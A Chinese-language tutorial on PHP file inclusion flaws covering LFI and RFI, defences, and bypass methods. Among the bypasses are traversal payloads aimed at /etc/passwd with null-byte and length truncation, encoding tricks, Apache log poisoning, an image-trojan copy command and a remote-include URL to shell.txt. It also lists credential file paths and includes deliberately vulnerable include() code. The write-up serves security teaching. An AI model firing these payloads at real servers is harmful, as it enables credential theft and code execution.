文章目录
前言
一、文件包含漏洞原理
- 原理: 在通过PHP的相应函数(如:include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
(这可能有点难理解,那我们先来了解一下包含
的概念,进而理解此原理)
1.什么是文件包含?
文件包含就是把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数。如下图:include.php
文件中即是可重复使用的函数,?file=phpinfo.php
就是调用了改文件,传入参数为phpinfo.php
。
然而不论我们把文件扩展名改为.jpg
还是.txt
,都可以解析
- 由此可知,
include()
函数会忽略包含的文件类型,只要有php代码
,就都会被解析出来。 - 这让我回想上一期做文件上传漏洞题时,上传了一个
gif
格式一句话木马,却被当作php
文件解析了出来,也就说明这个网站是存在文件包含漏洞的。
由上可知:文件包含漏洞的形成需要满足
两个条件
- 1、include()等函数通过动态变量的方式引入需要包含的文件
- 2、用户能控制这个动态变量
PHP中文件包含函数有以下四种:
include() 包含文件发生错误时,程序发出警告,但会继续执行
include_once() 和include相似,不同之处在于include_once会检查这个文件是否已经被导入,如果已导入,便不再执行,也就是只导入一次。
require() 包含文件发送错误时,产生致命错误,终止执行
require_once() 和require相似,但也只导入一次
二、利用方式
利用方式有两种
- 本地文件包含(LFI):能够读取或执行包含本地文件的漏洞,称为
本地文件包含漏洞
,allow_url_fopen=ON
- 远程文件包含:如果
php.ini
的配置选项allow_url_include
为ON
,则文件包含函数就可以加载远程文件,这种漏洞就是远程文件包含漏洞
,利用此漏洞,可以直接执行任何命令。
三、常用的防御方式
- 设置白名单: 代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入参数进行比较
- 过滤危险字符: 由于include/require可以对PHP
Wrapper
形式的地址进行包含执行(需配置php.ini),在Linux
环境中可以通过“../../
”的形式进行目录绕过,所以需要判断文件名称是否为合法的php文件 - 设置文件目录: PHP配置文件中的
open_basedir
选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。也就可以防止恶意查看系统文件,获取账户密码等。 - 关闭危险配置: PHP配置中的
allow_url_include
选项为ON的话,则可进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认的关闭的。
四、绕过方式
4.1LFI漏洞利用技巧
1.字符串截断
1.00截断
- 在
include.php
中写入这样一段代码,我们若要读取根目录下的site
目录中的phpinfo.php
文件,可以直接在后面加上?filename=phpinfo
。
<?php
$file = $_GET['filename'];
if(file_exists('./site/'.$file.'.php'))
{
include('./site/'.$file.'.php'); //程序强行加后缀
}
else echo 'file not exists';
?>
- 但我们若想利用文件包含漏洞读取本地敏感信息,就不一定能行,因为服务器会给路径加上
./site/
路径和.php
后缀,导致我们只能读取site目录下的php文件。此时我们可以使用%00截断
- 在filename后带上
%00
,就可以截断末尾的.php
- 此时路径为
./site/
,如果要读取system.ini
,则需输入../../../windows/xx.ini%00
,这里的windows文件夹和system.ini是我新创建的,并不是我电脑的系统文件,因为我的靶场搭建的D盘下,所以这里最多也只能到D盘根目录下。 ./
当前目录../
上一级目录- 注意:%00截断需要php版本小于
5.3.4
,且关闭magic_quotes_gpc
功能。
也是目录遍历
2.路径长度截断
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
php版本小于5.2.82
,linux 需要文件名长于 4096,windows 需要长于 256,利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的。我们知道目录字符串,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 “./” 的方式即可构造出超长目录字符串
注
:./中可掺杂/,但是不能全部用/
- 测试代码
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
3.%00 截断目录遍历
?file=../../../../../../../../../var/www/%00
要求 magic_quotes_gpc=off
,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris
4.点号截断
?file=../../../../../../../../../boot.ini/………[…]…………
php 版本小于 5.2.8
可以成功,只适用 windows
,点号需要长于 256
5.编码绕过
服务器端常常会对于 ../
等做一些过滤,可以用一些编码来进行绕过。可参考《白帽子讲安全》一书
利用url编码
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\
二次编码
../ -》 %252e%252e%252f
..\ -》 %252e%252e%255c
2.配合文件上传
这个上面讲文件包含时已经演示过,文件上传和文件包含配合—假设只能上传.jpg
形式的文件,那么利用文件包含就可以实现任意拓展名的文件都可以以php解析出来。
3.绝对路径读取
如果存在本地包含,那么就可以读取本地敏感文件
。如下例所示
相对路径读取
- 这个在前面
00截断
已经演示过 - 利用
../
进行返回上一级目录,直到返回根目录,若靶场是搭在d盘,就只能读取d盘文件内容。
4.读取apache日志文件
有时候某个网站存在文件包含漏洞,却无法进行文件上传,这时就可以利用日志文件
,日志文件主要是用来记录的,当用户发送正常请求就会被记录在access.log
(访问日志)中,若请求错误,则被记录在error.log
(错误日志)中。如何打开apache的访问日志
- 如下是访问之后生成的日志
在url中掺入代码后查看log文件,发现<>和空格被过滤了,这样是利用不了的。
但我们可以用burp suite9来绕过编码
再看log文件,响应码403没关系,此时log文件已经包含了我们的 “ 漏洞 ” -><?php phpinfo(); ?>
,也就可以利用log文件访问了。
直接访问log文件
由此可见:apache的路径是重点,最好更改掉默认路径。
日志默认路径
- apache+Linux 日志默认路径:
/etc/httpd/logs/access_log
或/var/log/httpd/access log
- apache+win2003 日志默认路径:
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
- IIS6.0+win2003 默认日志文件:
C:/WINDOWS/system32/Logfiles
- IIS7.0+win2003 默认日志文件:
%SystemDrive%/inetpub/logs/LogFiles
- nginx 日志文件在用户安装目录的 logs 目录下,如安装目录为 /usr/local/nginx,则日志目录就是在:
/usr/local/nginx/logs
- 也可通过其配置文件 Nginx.conf,获取到日志的存在路径:
/opt/nginx/logs/access.log
5.包含图片木马
命令行下执行
copy x.jpg /b + s.php /b f.jpg
上传 f.jpg、找到 f.jpg 路径、包含 f.jpg
4.2远程文件包含漏洞
?file=[http|https|ftp]://www.bbb.com/shell.txt
可以有三种, http、https、ftp
先更改allow_url_include=On
可利用?,#,空格绕过,和00截断的思想一样
?->file=http://localhost/xx.php?
#–>file=http://localhost/xx.php%23
空格->file=http://localhost/xx.php%20
4.3 php伪协议
常见的敏感信息路径
Windows系统
- c:\boot.ini // 查看系统版本
- c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
- c:\windows\repair\sam // 存储Windows系统初次安装的密码
- c:\ProgramFiles\mysql\my.ini // MySQL配置
- c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
- c:\windows\php.ini // php 配置信息
Linux/Unix系统
- /etc/passwd // 账户信息 /etc/shadow // 账户密码文件
- /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
- /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf
- // Apache配置文件 /etc/my.conf // mysql 配置文件